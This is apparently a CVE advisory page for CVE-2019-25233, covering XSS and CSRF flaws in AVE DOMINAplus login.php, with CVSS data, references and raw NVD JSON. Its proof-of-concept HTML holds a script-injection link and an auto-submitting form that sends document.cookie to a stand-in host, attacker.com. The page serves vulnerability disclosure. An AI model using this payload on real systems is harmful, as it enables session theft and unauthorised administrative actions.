CVE-2019-25233

Description

AVE DOMINAplus 1.10.x contains cross-site request forgery and cross-site scripting vulnerabilities that allow attackers to perform administrative actions without user consent. Attackers can craft malicious web pages to exploit login.php parameters and execute arbitrary scripts in user browser sessions.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AVE DOMINAplus 1.10.x

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2019-25233 XSS PoC -->
<!-- Target: AVE DOMINAplus 1.10.x login.php -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2019-25233 PoC</title>
</head>
<body>
    <h3>CVE-2019-25233: XSS via login.php</h3>
    <p>Malicious Link:</p>
    <a href='http://target/domina/login.php?username=<script>alert(document.cookie)</script>&password=test'>Click Here</a>
    
    <!-- Auto-exploit form -->
    <form id='exploit' action='http://target/domina/login.php' method='POST'>
        <input type='hidden' name='username' value="<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>">
        <input type='hidden' name='password' value='malicious'>
    </form>
    <script>document.getElementById('exploit').submit();</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25233
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25233
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25233/
[4] VulDB https://vuldb.com/cve/CVE-2019-25233
[5] https://www.ave.it
[6] https://www.domoticaplus.it
[7] https://www.exploit-db.com/exploits/47821
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2019-25233", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:50.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AVE DOMINAplus 1.10.x contains cross-site request forgery and cross-site scripting vulnerabilities that allow attackers to perform administrative actions without user consent. Attackers can craft malicious web pages to exploit login.php parameters and execute arbitrary scripts in user browser sessions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://www.ave.it", "source": "[email protected]"}, {"url": "https://www.domoticaplus.it", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/47821", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}